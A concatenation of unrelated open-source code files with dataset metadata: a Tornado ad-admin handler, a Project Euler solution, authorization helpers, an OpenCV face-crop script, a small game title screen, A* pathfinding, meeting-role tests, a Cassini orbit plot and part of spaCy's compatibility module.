ThirdPartAdpostionInfo.query.filter_by(status=0, platform=exp_type).all()\n\n if place == \"version\":\n exp_data = ShareitAndroidVer.query.filter_by(status=0).all()\n\n res = self.assemble_data(data=self.list_json(exp_data), code=200, flag=True)\n\n if place == \"third_part\":\n for item in res[\"data\"]:\n item[\"tag_info\"] = json.loads(item[\"tag_info\"])\n item[\"priority_info\"] = json.loads(item[\"priority_info\"])\n self.finish(res)\n\n\nclass OptionHandler(ShareitBaseHandler):\n def extract_data_with_id(self, obj_list, option_name):\n option_list = []\n for item in obj_list:\n k_v = {}\n name = getattr(item, option_name)\n id = getattr(item, \"id\")\n key = name + \"/\" + str(id)\n k_v[\"key\"] = key\n k_v[\"value\"] = id\n option_list.append(k_v)\n\n return option_list\n\n def extract_data(self, obj_list, option_name):\n option_list = []\n for item in obj_list:\n k_v = {}\n item_name = getattr(item, option_name)\n k_v[\"key\"] = item_name\n k_v[\"value\"] = item_name\n option_list.append(k_v)\n\n return option_list\n\n @tornado.gen.coroutine\n def get(self, *args, **kwargs):\n \"\"\"\n 按需传入:adpage:广告页;adtype:广告类型;adformat:广告样式;tag:标签;priority:优先级; shareit_adpostion:广告位信息; username:操作人\n\n \"\"\"\n option = self.get_argument(\"option\", \"\")\n option_list = []\n\n if option == \"tag\" or option == \"priority\" or option == \"adpage\" or option == \"adtype\" or option == \"adformat\":\n res = Const.db_session.execute(\n \"select distinct content from const where type='\" + option + \"' and status=0\").fetchall()\n option_list = self.extract_data(res, \"content\")\n\n if option == \"shareit_adpostion\":\n # name/ID\n res = ShareitAdpostionInfo.db_session.execute(\n \"select id, adpos_name from dim_ads_standard_adunit where status=0\")\n option_list = self.extract_data_with_id(res, \"adpos_name\")\n\n if option == \"username\":\n res = User.db_session.execute(\"select user_name from user where status=0\")\n option_list = self.extract_data(res, \"user_name\")\n\n self.finish(self.assemble_data(data=option_list, code=200, flag=True))\n\n\nclass CheckHandler(ShareitBaseHandler):\n @tornado.gen.coroutine\n def get(self, *args, **kwargs):\n \"\"\"\n data_type: shareitid:茄子广告位信息;adpage:常量配置adpage;adformat:常量配置adformat;adtype:常量配置adtype;Priority:常量配置Priority; Tag:常量配置Tag\n content: 待检测字段\n\n \"\"\"\n data_type = self.get_argument(\"type\", \"\")\n content = self.get_argument(\"content\", \"\")\n res = None\n\n if data_type == \"shareitid\":\n res = ShareitAdpostionInfo.query.filter_by(adpos_name=content, status=0).first()\n if data_type == \"adpage\":\n res = Const.query.filter_by(content=content, type=\"adpage\", status=0).first()\n if data_type == \"adformat\":\n res = Const.query.filter_by(content=content, type=\"adformat\", status=0).first()\n if data_type == \"adtype\":\n res = Const.query.filter_by(content=content, type=\"adtype\", status=0).first()\n if data_type == \"priority\":\n res = Const.query.filter_by(content=content, type=\"priority\", status=0).first()\n if data_type == \"tag\":\n res = Const.query.filter_by(content=content, type=\"tag\", status=0).first()\n if data_type == \"account\":\n res = User.query.filter_by(account=content, status=0).first()\n\n if res is None:\n self.finish({\"code\": 200, \"flag\": True, \"status\": \"notbe\"})\n else:\n self.finish({\"code\": 200, \"flag\": True, \"status\": \"be\"})\n\n\nclass UserHandler(ShareitBaseHandler):\n @tornado.gen.coroutine\n def get(self, *args, **kwargs):\n page = int(self.get_argument(\"page\", 1))\n pagesize = int(self.get_argument(\"pagesize\", 10))\n users = User.query.filter_by(status=0).order_by(User.id.desc()).offset((page - 1) * pagesize).limit(pagesize).all()\n total = User.query.filter_by(status=0).count()\n user_list = []\n for user in users:\n user_dict = dict()\n user_dict[\"id\"] = user.id\n user_dict[\"user_name\"] = user.user_name\n user_dict[\"account\"] = user.account\n user_dict[\"role\"] = user.role\n user_list.append(user_dict)\n\n self.finish(self.assemble_data(data=user_list, total=total, code=200))\n\n @tornado.gen.coroutine\n def delete(self, *args, **kwargs):\n user_id = self.get_argument(\"id\", 0)\n del_info = {\"status\": -1, \"modify_time\": int(time.time() * 1000)}\n try:\n User.get(ident=user_id).update(**del_info)\n except Exception as e:\n print(\"delete user failed, error is: %s; id is: %s\" % (e, user_id))\n self.finish({\"flag\": True, \"code\": 400})\n else:\n self.log()\n self.finish({\"flag\": True, \"code\": 200})\n\n\nclass UserModifyHandler(ShareitBaseHandler):\n @tornado.gen.coroutine\n def post(self, *args, **kwargs):\n data = json.loads(self.request.body.decode())\n current_time = int(time.time() * 1000)\n action = data[\"action\"]\n pos_data = data[\"item\"]\n pos_data[\"modify_time\"] = current_time\n try:\n if action == \"add\":\n pos_data[\"status\"] = 0\n pos_data[\"create_time\"] = current_time\n pos_data[\"tel\"] = None\n pos_data[\"token\"] = None\n User.create(**pos_data)\n else:\n User.update_or_create(id=pos_data[\"id\"], defaults=pos_data)\n except Exception as e:\n print(\"update user failed error is: %s; data is %s\" % (e, pos_data))\n self.finish({\"flag\": True, \"code\": 400})\n else:\n self.log()\n self.finish({\"flag\": True, \"code\": 200})\n\n\nclass LogHandler(ShareitBaseHandler):\n @tornado.gen.coroutine\n def get(self, *args, **kwargs):\n page = int(self.get_argument(\"page\", 1))\n pagesize = int(self.get_argument(\"pagesize\", 10))\n start_time = int(self.get_argument(\"start_time\")) if self.get_argument(\"start_time\", \"\") != \"\" else 0\n end_time = int(self.get_argument(\"end_time\")) if self.get_argument(\"end_time\", \"\") != \"\" else 10000000000000\n user_name = self.get_argument(\"user_name\", \"\")\n operate_type = int(self.get_argument(\"operate_type\")) if self.get_argument(\"operate_type\",\n \"\") != \"\" else -1 # -1表示未知\n now = self.get_argument(\"now\", \"\")\n operate_object = self.get_argument(\"operate_object\", \"\")\n log_list = OperationLog.query \\\n .filter(OperationLog.operate_time >= start_time, OperationLog.operate_time <= end_time) \\\n .filter(OperationLog.user_name.like(\"%\" + user_name + \"%\")) \\\n .filter(OperationLog.operate_object.like(\"%\" + operate_object + \"%\")) \\\n .filter(OperationLog.now.like(\"%\" + now + \"%\"))\n if operate_type != -1:\n log_list = log_list.filter_by(operate_type=operate_type)\n\n total = log_list.count()\n return_data = log_list.order_by(OperationLog.id.desc()).offset((page - 1) * pagesize).limit(pagesize).all()\n for log in return_data:\n log.operate_time = convert_date(time_stamp=log.operate_time, seconds=True, ms=True, format=\"/\")\n\n res = self.assemble_data(data=self.list_json(return_data), code=200, total=total)\n self.finish(res)\n\n\nclass UserInfoHandler(ShareitBaseHandler):\n @tornado.gen.coroutine\n def get(self):\n token = self.get_argument(\"token\", \"\")\n roles = []\n user_obj = User.query.filter_by(status=0, token=token).first()\n data = {\n \"user_name\": \"\",\n \"account\": \"\",\n \"roles\": [],\n }\n if user_obj is not None:\n user_name = user_obj.user_name\n account = user_obj.account\n roles.append(user_obj.role)\n data = {\n \"user_name\": user_name,\n \"account\": account,\n \"roles\": roles,\n }\n\n res = self.assemble_data(code=200, data=data)\n self.finish(res)\n\n# 晓科:priority返回空字符串,这样的话每条数据后面都要加个空字符串的\n","sub_path":"ssp/views/AdminHandler.py","file_name":"AdminHandler.py","file_ext":"py","file_size_in_byte":28522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"572893595","text":"\"\"\"\nMichael S. Emanuel\nWed May 2 12:52:58 2018\n\nSpecial subset sums: testing\nProblem 105\n\nLet S(A) represent the sum of elements in set A of size n.\nWe shall call it a special sum set if for any two non-empty disjoint subsets, B and C,\nthe following properties are true:\n S(B) ≠ S(C); that is, sums of subsets cannot be equal.\n If B contains more elements than C then S(B) > S(C).\n\nFor example, {81, 88, 75, 42, 87, 84, 86, 65} is not a special sum set because\n65 + 87 + 88 = 75 + 81 + 84, whereas {157, 150, 164, 119, 79, 159, 161, 139, 158}\nsatisfies both rules for all possible subset pair combinations and S(A) = 1286.\n\nUsing sets.txt (right click and \"Save Link/Target As...\"), a 4K text file with one-hundred sets\ncontaining seven to twelve elements (the two examples given above are the first two sets in the\nfile), identify all the special sum sets, A1, A2, ..., Ak, and find the value of\nS(A1) + S(A2) + ... + S(Ak).\nNOTE: This problem is related to Problem 103 and Problem 106.\n\"\"\"\n\n# from Euler.SpecialSubsetSums import isSpecialSumSet\nfrom Euler.SpecialSubsetSums import isSpecialSumSet_BF\nfrom typing import List, Tuple\n\n\ndef loadData() -> List[Tuple[int, ...]]:\n fileName: str = 'DataFiles/p105_sets.txt'\n with open(fileName) as fh:\n lines: List[str] = fh.readlines()\n rows: List[List[str]] = [line.strip().split(',') for line in lines]\n return [tuple([int(x) for x in row]) for row in rows]\n\n\ndef main() -> int:\n # Load the data\n testSets: List[Tuple[int, ...]] = loadData()\n # Accumulator for sum of testSets that are special sum set\n sssTotal: int = 0\n sssCount: int = 0\n for testSet in testSets:\n if isSpecialSumSet_BF(testSet):\n sssCount += 1\n sssTotal += sum(testSet)\n print(f'Found {sssCount} Special Sum Sets.')\n print(f'Their sum (and the answer) is {sssTotal}.')\n return sssTotal\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Prob105_SpecialSubsetSums-Testing.py","file_name":"Prob105_SpecialSubsetSums-Testing.py","file_ext":"py","file_size_in_byte":1928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"391306904","text":"import os\n\nfrom chalice import *\n\nfrom chalicelib.database.models import *\n\nDEFAULT_COGNITO_IDENTITY_ID = os.environ.get('DEFAULT_COGNITO_IDENTITY_ID')\n\ndef get_cognito_id(identity):\n cognitoIdentityId = identity.get('cognitoIdentityId', DEFAULT_COGNITO_IDENTITY_ID)\n if not cognitoIdentityId:\n cognitoIdentityId = DEFAULT_COGNITO_IDENTITY_ID\n return cognitoIdentityId\n\n\ndef authorize_user(identity):\n cognito_id = get_cognito_id(identity)\n try:\n user_profile = AuthProvider.get(AuthProvider.cognito_id == cognito_id).user\n if user_profile.status == UserProfile.STATUS_PENDING:\n raise UnauthorizedError('You are pending for activation.')\n elif user_profile.status == UserProfile.STATUS_SUSPENDED:\n raise UnauthorizedError('You are suspended.')\n elif user_profile.status != UserProfile.STATUS_ACTIVE:\n raise UnauthorizedError('You are invalid user.')\n return user_profile\n except AuthProvider.DoesNotExist:\n raise UnauthorizedError('Sign-in user is not found.')\n\n\ndef authorize_teacher(user_profile):\n if not (user_profile.is_teacher()\n and user_profile.teacher_info[0].is_teacher()):\n raise ForbiddenError()\n\n\ndef authorize_admin(user_profile):\n if not (user_profile.is_admin()):\n raise ForbiddenError()\n\n\ndef authorize_manager(user_profile):\n if not (user_profile.is_teacher()\n and user_profile.teacher_info[0].is_manager()):\n raise ForbiddenError()\n\n\ndef authorize_caregiver(user_profile):\n if not user_profile.is_caregiver():\n raise ForbiddenError()\n\n\ndef authorize_caregiver_of_student(user_profile, student_id):\n try:\n (Caregiver.select()\n .where(Caregiver.user == user_profile)\n .where((Caregiver.account_type == Caregiver.TYPE_CAREGIVER)\n | (Caregiver.account_type == Caregiver.TYPE_GUARDIAN))\n .where(Caregiver.student == student_id).get())\n except Caregiver.DoesNotExist:\n raise ForbiddenError()\n\n\ndef authorize_guardian_of_student(user_profile, student_id):\n try:\n (Caregiver.select()\n .where(Caregiver.user == user_profile)\n .where(Caregiver.account_type == Caregiver.TYPE_GUARDIAN)\n .where(Caregiver.student == student_id).get())\n except Caregiver.DoesNotExist:\n raise ForbiddenError()\n\n\ndef authorize_teacher_of_student(user_profile, student_id):\n try:\n (Student.select()\n .where(Student.id == student_id)\n .where(Student.centre == user_profile.teacher_info[0].centre).get())\n except Student.DoesNotExist:\n raise ForbiddenError()\n\n","sub_path":"server/chalicelib/helpers/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":2700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"473972873","text":"#!/usr/bin/python\n\n# Has dependency on the OpenCV Library\n# OpenCV: http://opencv.org/\nimport cv\n\nimport argparse\nimport json\nfrom PIL import Image \nfrom time import gmtime, strftime\n\n# Globals\n\nMIN_SIZE = (20, 20)\nIMAGE_SCALE = 1\nHAAR_SCALE = 1.2\nMIN_NEIGHBORS = 2\nHAAR_FLAGS = 0\nHAAR_TRAINER = \"haarcascade_frontalface_alt.xml\"\n\nclass Imag:\n def __init__(self,image_name,cascade):\n try:\n image = cv.LoadImage(image_name, 1)\n except IOError:\n return \n except:\n return\n else:\n self.faces = []\n #Allocate Space for grayscale image and tiny image\n #Dramatically reduces computation time in exchange for temporary space\n grayscale = cv.CreateImage((image.width,image.height),8,1)\n img = cv.CreateImage((cv.Round(image.width/IMAGE_SCALE),cv.Round(image.height/IMAGE_SCALE)),8,1)\n\n cv.CvtColor(image,grayscale,cv.CV_BGR2GRAY)\n cv.Resize(grayscale,img,cv.CV_INTER_LINEAR)\n cv.EqualizeHist(img,img)\n\n matches = cv.HaarDetectObjects(img,cascade,cv.CreateMemStorage(0),HAAR_SCALE,IMAGE_SCALE,HAAR_FLAGS,MIN_SIZE)\n for ((x,y,width,height),wat) in matches:\n self.faces.append({\"x\":x,\"y\":y,\"width\":width,\"height\":height})\n self.name=image_name\n\nclass batchImag:\n def __init__(self,images,trainer,owner):\n try:\n cascade = cv.Load(trainer)\n except TypeError:\n return \n except:\n return\n else: \n self.data = {}\n self.owner = str(owner)\n for image_name in images:\n image = Imag(image_name,cascade)\n self.data[image_name]=image.faces\n \n def printDataJSON(self):\n size = 200, 200\n data = [] \n for key in self.data.keys():\n im = Image.open(key)\n for crop in self.data[key]:\n time = strftime(\"%Y-%m-%d-%H-%M-%S\", gmtime())\n im.crop((crop['x'],crop['y'],crop['x']+crop['width'],crop['y']+crop['height'])).resize(size).save(key)\n data.append(key)\n print(json.dumps(data))\n\ndef main():\n parser = argparse.ArgumentParser(description='Facial detection program built on the OpenCV library.')\n parser.add_argument('files', nargs='*', help=' ...')\n parser.add_argument('--cascade', dest='cascade', default=HAAR_TRAINER, help='Haar cascade file trained facial detection')\n parser.add_argument('--owner', dest='owner', help='Haar cascade file trained facial detection')\n pargs = parser.parse_args()\n\n images = batchImag(pargs.files,pargs.cascade,pargs.owner)\n images.printDataJSON()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"lib/python2.7/face_crop/face_crop.py","file_name":"face_crop.py","file_ext":"py","file_size_in_byte":2515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"288800016","text":"from pico2d import *\nimport game_framework\nimport game_state\n\ndef enter():\n global image, bgm, button, buttonwav, bt1state, bt2state, explain, explainstate, bt, bt1, bt2, bt3, bt4, start, startstate\n image = load_image('image/title.png')\n button = load_image('image/titlebutton.png')\n bgm=load_music('music/title_music.mp3')\n bgm.set_volume(70)\n bgm.repeat_play()\n buttonwav = load_wav('music/button.wav')\n buttonwav.set_volume(100)\n bt1state=0\n bt2state=0\n explain=[]\n explain.append(load_image('image/설명1.png'))\n explain.append(load_image('image/설명2.png'))\n explain.append(load_image('image/설명3.png'))\n explain.append(load_image('image/설명4.png'))\n explain.append(load_image('image/설명5.png'))\n explain.append(load_image('image/설명6.png'))\n explain.append(load_image('image/설명7.png'))\n explain.append(load_image('image/설명8.png'))\n explain.append(load_image('image/설명9.png'))\n explain.append(load_image('image/설명10.png'))\n explain.append(load_image('image/설명11.png'))\n explain.append(load_image('image/설명12.png'))\n explainstate=-1\n bt=[]\n bt.append(load_image('image/bt1.png'))\n bt.append(load_image('image/bt2.png'))\n bt.append(load_image('image/bt3.png'))\n bt.append(load_image('image/bt4.png'))\n start=[]\n start.append(load_image('image/시작1.png'))\n start.append(load_image('image/시작2.png'))\n startstate=-1\n bt1=False\n bt2=False\n bt3=False\n bt4=False\n\ndef exit():\n global image, bgm, button, buttonwav, explain, bt, start\n del(image)\n del(bgm)\n del(button)\n del(buttonwav)\n del(explain)\n del(bt)\n del(start)\n\ndef draw():\n clear_canvas()\n image.draw(400,300)\n button.clip_draw(bt1state*223,0,222,64,243,65)\n button.clip_draw(bt2state*223,64,222,64,563,65)\n if explainstate>-1 and explainstate<12:\n explain[explainstate].draw(400,300)\n if bt1==True:\n bt[0].draw(195,221)\n if bt2==True:\n bt[1].draw(632,221)\n if bt3==True and explainstate>0:\n bt[2].draw(432,254)\n if bt4==True and explainstate<11:\n bt[3].draw(483,254)\n if startstate >= 0:\n start[startstate].draw(400,300)\n if bt1 == True:\n bt[0].draw(195, 221)\n if bt2 == True:\n bt[1].draw(632, 221)\n if bt4 == True:\n bt[3].draw(483, 254)\n update_canvas()\n\ndef update():\n delay(0.03)\n \ndef handle_events():\n global bt1state, bt2state, explainstate, bt1, bt2, bt3, bt4, startstate\n events=get_events()\n for event in events:\n if event.type ==SDL_QUIT:\n game_framework.quit()\n elif event.type==SDL_KEYDOWN:\n if event.key == SDLK_SPACE and startstate>=0:\n if startstate == 0:\n game_state.mode = 'AI'\n elif startstate == 1:\n game_state.mode = 'PVP'\n game_framework.push_state(game_state)\n elif event.key == SDLK_UP:\n startstate = 0\n elif event.key ==SDLK_DOWN:\n startstate = 1\n elif event.key == SDLK_ESCAPE:\n game_framework.quit()\n elif event.type == SDL_MOUSEMOTION:\n tx, ty = event.x, 600 - event.y\n if tx>=131 and tx<=354 and ty>=32 and ty<=98 and bt1state==0:\n bt1state=1\n buttonwav.play()\n elif tx<131 or tx>354 or ty<32 or ty>98:\n bt1state=0\n if tx>=452 and tx<=674 and ty>=32 and ty<=98 and bt2state==0:\n bt2state=1\n buttonwav.play()\n elif tx<452 or tx>674 or ty<32 or ty>98:\n bt2state=0\n if (explainstate>=0 and explainstate<=11) or startstate>=0:\n if tx > 147 and tx < 243 and ty > 211 and ty < 231 and bt1==False:\n bt1=True\n buttonwav.play()\n elif tx<=147 or tx>=243 or ty<=211 or ty>=231:\n bt1=False\n if tx > 610 and tx < 654 and ty > 211 and ty < 231 and bt2==False:\n bt2=True\n buttonwav.play()\n elif tx<=610 or tx>=654 or ty<=211 or ty>=231:\n bt2=False\n if explainstate>0 and tx>411 and tx<455 and ty>244 and ty<264 and bt3==False:\n bt3=True\n buttonwav.play()\n elif tx<=411 or tx>=455 or ty<=244 or ty>=264:\n bt3=False\n if explainstate<11 and tx>461 and tx<505 and ty>244 and ty<264 and bt4==False:\n bt4=True\n buttonwav.play()\n elif tx<=461 or tx>=505 or ty<=244 or ty>=264:\n bt4=False\n if startstate>=0:\n if tx>177 and tx<273 and ty>290 and ty<310:\n startstate=1\n elif tx>177 and tx<273 and ty>310 and ty<330:\n startstate=0\n\n\n elif event.type == SDL_MOUSEBUTTONDOWN:\n tx, ty = event.x, 600 - event.y\n if event.button == SDL_BUTTON_LEFT:\n if tx >= 131 and tx <= 354 and ty >= 32 and ty <= 98:\n startstate=0\n if tx>=452 and tx<=674 and ty>=32 and ty<=98:\n explainstate=0\n if explainstate>=0 and explainstate<=11:\n if tx>147 and tx<243 and ty>211 and ty<231:\n explainstate=-1\n if tx>610 and tx<654 and ty>211 and ty<231:\n explainstate=-1\n if explainstate > 0 and tx > 411 and tx < 455 and ty > 244 and ty < 264:\n explainstate-=1\n if explainstate < 11 and tx > 461 and tx < 505 and ty > 244 and ty < 264:\n explainstate+=1\n if startstate>=0:\n if tx>147 and tx<243 and ty>211 and ty<231:\n startstate=-1\n if tx>610 and tx<654 and ty>211 and ty<231:\n if startstate==0:\n game_state.mode = 'AI'\n elif startstate==1:\n game_state.mode = 'PVP'\n game_framework.push_state(game_state)\n if explainstate < 11 and tx > 461 and tx < 505 and ty > 244 and ty < 264:\n if startstate==0:\n game_state.mode = 'AI'\n elif startstate==1:\n game_state.mode = 'PVP'\n game_framework.push_state(game_state)\n if tx > 177 and tx < 273 and ty > 290 and ty < 310:\n game_state.mode = 'PVP'\n game_framework.push_state(game_state)\n elif tx > 177 and tx < 273 and ty > 310 and ty < 330:\n game_state.mode = 'AI'\n game_framework.push_state(game_state)\n\ndef pause():\n pass\n\ndef resume():\n pass\n\nif __name__=='__main__':\n import sys\n current_module = sys.modules[__name__]\n open_canvas()\n game_framework.run(current_module)\n close_canvas()\n","sub_path":"Term/title_state.py","file_name":"title_state.py","file_ext":"py","file_size_in_byte":7278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"466453912","text":"__author__ = 'alexander'\n\nimport tensorflow as tf\n\nx = tf.Variable(3, name='x')\ny = tf.Variable(4, name='y')\nz = x + y\n\nwith tf.Session() as sess:\n sess.run(tf.initialize_all_variables())\n result = sess.run(z)\n print(result)\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"366951642","text":"# -*- coding: utf-8 -*-\n\nimport queue\n\nimport pathfinding\n\ndef astar(depart,arrivee,murs):\n if depart == arrivee:\n return []\n \n frontiere = queue.PriorityQueue()\n frontiere.put((0, depart))\n \n precedent = {}\n precedent[depart] = None\n \n cout_courrant = {}\n cout_courrant[depart] = 0\n\n while not frontiere.empty():\n (optimal,courrant) = frontiere.get()\n\n if courrant == arrivee:\n break\n \n for suivant in pathfinding.neighbors(murs,courrant):\n cout = cout_courrant[courrant] + 1\n if suivant not in cout_courrant or cout < cout_courrant[suivant]:\n cout_courrant[suivant] = cout\n optimal = cout + pathfinding.manhattan_distance(arrivee, suivant)\n frontiere.put((optimal,suivant))\n precedent[suivant] = courrant \n \n courrant = arrivee\n chemin = []\n\n while courrant != depart:\n chemin.append(courrant)\n courrant = precedent[courrant] \n chemin.reverse()\n \n return chemin","sub_path":"kolkata-restaurant/astar.py","file_name":"astar.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"281451913","text":"from ftw.builder import Builder\nfrom ftw.builder import create\nfrom opengever.meeting.committee import get_group_vocabulary\nfrom opengever.meeting.committeeroles import CommitteeRoles\nfrom opengever.testing import FunctionalTestCase\nfrom opengever.testing import IntegrationTestCase\n\n\nclass TestCommitteeTabs(FunctionalTestCase):\n\n def setUp(self):\n super(TestCommitteeTabs, self).setUp()\n\n self.container = create(Builder('committee_container'))\n self.committee = create(Builder('committee')\n .within(self.container))\n\n def test_committee_roles_initialized(self):\n self.assertEqual(\n ('CommitteeResponsible', ),\n dict(self.committee.get_local_roles())['client1_users'])\n\n def test_update_roles_removes_old_role(self):\n CommitteeRoles(self.committee).update(\n 'foo', previous_principal='client1_users')\n\n local_roles = dict(self.committee.get_local_roles())\n self.assertNotIn('client1_users', local_roles)\n self.assertEqual(('CommitteeResponsible',),\n local_roles['foo'])\n\n def test_update_roles_preserves_unmanaged_roles(self):\n self.committee.manage_addLocalRoles('foo',\n ['Contributor', 'Administrator'])\n self.committee.manage_addLocalRoles(\n 'client1_users', ['Contributor'])\n\n CommitteeRoles(self.committee).update(\n 'foo', previous_principal='client1_users')\n local_roles = dict(self.committee.get_local_roles())\n self.assertItemsEqual(\n ['Administrator', 'CommitteeResponsible', 'Contributor'],\n local_roles['foo'])\n self.assertItemsEqual(\n ['Contributor'],\n local_roles['client1_users'])\n\n def test_principal_of_managed_roles_is_a_bytestring(self):\n for principal, roles in self.committee.get_local_roles():\n self.assertTrue(isinstance(principal, str), 'Not a byte string')\n\n\nclass TestCommitteeGroupsVocabulary(IntegrationTestCase):\n\n def test_return_all_groups(self):\n self.login(self.committee_responsible)\n\n self.assertItemsEqual(\n [u'fa_users',\n u'fa_inbox_users',\n u'projekt_a',\n u'projekt_b',\n u'committee_rpk_group',\n u'committee_ver_group'],\n [term.value for term in\n get_group_vocabulary(self.committee_container)])\n","sub_path":"opengever/meeting/tests/test_committee_roles.py","file_name":"test_committee_roles.py","file_ext":"py","file_size_in_byte":2442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"54795526","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\n\r\nimport spiceypy as spice\r\nprint(\"Toolkit Version: \" + spice.tkvrsn(\"TOOLKIT\")) #prints version of toolkit\r\n\r\nspice.furnsh(\"./cassMetaK.txt\")\r\n\r\nstep = 4000\r\n\r\nutc = ['Jun 20, 2004', 'Dec 1, 2005'] #Get positions between these two dates\r\n\r\netOne = spice.str2et(utc[0]) #get et values one...\r\netTwo = spice.str2et(utc[1]) #...and two, we could vectorize str2et\r\nprint(\"ET One: {}, ET Two: {}\".format(etOne, etTwo))\r\n\r\ntimes = [x*(etTwo-etOne)/step + etOne for x in range(step)] # get times\r\n\r\n\r\nprint(times[0:3]) #prints the first few times:\r\n\r\n#Runs spkpos as a vectorized function\r\npositions, lightTimes = spice.spkpos('Cassini', times, 'J2000', 'NONE', 'SATURN BARYCENTER')\r\n\r\n# Positions is a 3xN vector of XYZ positions\r\nprint(\"Positions: \")\r\nprint(positions[0])\r\n\r\n# Light times is a N vector of time\r\nprint(\"Light Times: \")\r\nprint(lightTimes[0])\r\n\r\n#Graphs the stuff\r\nfig = plt.figure(figsize=(9, 9))\r\nax = fig.add_subplot(111, projection='3d')\r\nax.plot(positions.T[0], positions.T[1], positions.T[2])\r\nplt.title('SpiceyPy Cassini Position Example from Jun 20, 2004 to Dec 1, 2005')\r\nplt.show()\r\n","sub_path":"Cassini Example/cassiniExample.py","file_name":"cassiniExample.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"360593150","text":"# coding: utf8\n\"\"\"\nHelpers for Python and platform compatibility. To distinguish them from\nthe builtin functions, replacement functions are suffixed with an underscore,\ne.g. `unicode_`.\n\nDOCS: https://spacy.io/api/top-level#compat\n\"\"\"\nfrom __future__ import unicode_literals\n\nimport os\nimport sys\nimport itertools\nimport ast\nimport types\n\nfrom thinc.neural.util import copy_array\n\ntry:\n import cPickle as pickle\nexcept ImportError:\n import pickle\n\ntry:\n import copy_reg\nexcept ImportError:\n import copyreg as copy_reg\n\ntry:\n from cupy.cuda.stream import Stream as CudaStream\nexcept ImportError:\n CudaStream = None\n\ntry:\n import cupy\nexcept ImportError:\n cupy = None\n\ntry:\n from thinc.neural.optimizers import Optimizer # noqa: F401\nexcept ImportError:\n from thinc.neural.optimizers import Adam as Optimizer # noqa: F401\n\npickle = pickle\ncopy_reg = copy_reg\nCudaStream = CudaStream\ncupy = cupy\ncopy_array = copy_array\nizip = getattr(itertools, \"izip\", zip)\n\nis_windows = sys.platform.startswith(\"win\")\nis_linux = sys.platform.startswith(\"linux\")\nis_osx = sys.platform == \"darwin\"\n\n# See: https://github.com/benjaminp/six/blob/master/six.py\nis_python2 = sys.version_info[0] == 2\nis_python3 = sys.version_info[0] == 3\nis_python_pre_3_5 = is_python2 or (is_python3 and sys.version_info[1] < 5)\n\nif is_python2:\n bytes_ = str\n unicode_ = unicode # noqa: F821\n basestring_ = basestring # noqa: F821\n input_ = raw_input # noqa: F821\n path2str = lambda path: str(path).decode(\"utf8\")\n class_types = (type, types.ClassType)\n\nelif is_python3:\n bytes_ = bytes\n unicode_ = str\n basestring_ = str\n input_ = input\n path2str = lambda path: str(path)\n class_types = (type, types.ClassType) if is_python_pre_3_5 else type\n\n\ndef b_to_str(b_str):\n \"\"\"Convert a bytes object to a string.\n\n b_str (bytes): The object to convert.\n RETURNS (unicode): The converted string.\n \"\"\"\n if is_python2:\n return b_str\n # Important: if no encoding is set, string becomes \"b'...'\"\n return str(b_str, encoding=\"utf8\")\n\n\ndef symlink_to(orig, dest):\n \"\"\"Create a symlink. Used for model shortcut links.\n\n orig (unicode / Path): The origin path.\n dest (unicode / Path): The destination path of the symlink.\n \"\"\"\n if is_windows:\n import subprocess\n\n subprocess.check_call(\n [\"mklink\", \"/d\", path2str(orig), path2str(dest)], shell=True\n )\n else:\n orig.symlink_to(dest)\n\n\ndef symlink_remove(link):\n \"\"\"Remove a symlink. Used for model shortcut links.\n\n link (unicode / Path): The path to the symlink.\n \"\"\"\n # https://stackoverflow.com/q/26554135/6400719\n if os.path.isdir(path2str(link)) and is_windows:\n # this should only be on Py2.7 and windows\n os.rmdir(path2str(link))\n else:\n os.unlink(path2str(link))\n\n\ndef is_config(python2=None, python3=None, windows=None, linux=None, osx=None):\n \"\"\"Check if a specific configuration of Python version and operating system\n matches the user's setup. Mostly used to display targeted error messages.\n\n python2 (bool): spaCy is executed with Python 2.x.\n python3 (bool): spaCy is executed with Python 3.x.\n windows (bool): spaCy is executed on Windows.\n linux (bool): spaCy is executed on Linux.\n osx (bool): spaCy is executed on OS X or macOS.\n RETURNS (bool): Whether the configuration matches the user's platform.\n\n DOCS: https://spacy.io/api/top-level#compat.is_config\n \"\"\"\n return (\n python2 in (None, is_python2)\n and python3 in (None, is_python3)\n and windows in (None, is_windows)\n and linux in (None, is_linux)\n and osx in (None, is_osx)\n )\n\n\ndef import_file(name, loc):\n \"\"\"Import module from a file. Used to load models from a directory.\n\n name (unicode): Name of module to load.\n loc (unicode / Path): Path to the file.\n RETURNS: The loaded module.\n \"\"\"\n loc = path2str(loc)\n if is_python_pre_3_5:\n import imp\n\n return imp.load_source(name, loc)\n else:\n import importlib.util\n\n spec = importlib.util.spec_from_file_location(name, str(loc))\n module = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(module)\n return module\n\n\ndef unescape_unicode(string):\n \"\"\"Python2.7's re module chokes when compiling patterns that have ranges\n between escaped unicode codepoints if the two codepoints are unrecognised\n in the unicode database. For instance:\n\n re.compile('[\\\\uAA77-\\\\uAA79]').findall(\"hello\")\n\n Ends up matching every character (on Python 2). This problem doesn't occur\n if we're dealing with unicode literals.\n \"\"\"\n if string is None:\n return string\n # We only want to unescape the unicode, so we first must protect the other\n # backslashes.\n string = string.replace(\"\\\\\", \"\\\\\\\\\")\n # Now we remove that protection for the unicode.\n string = 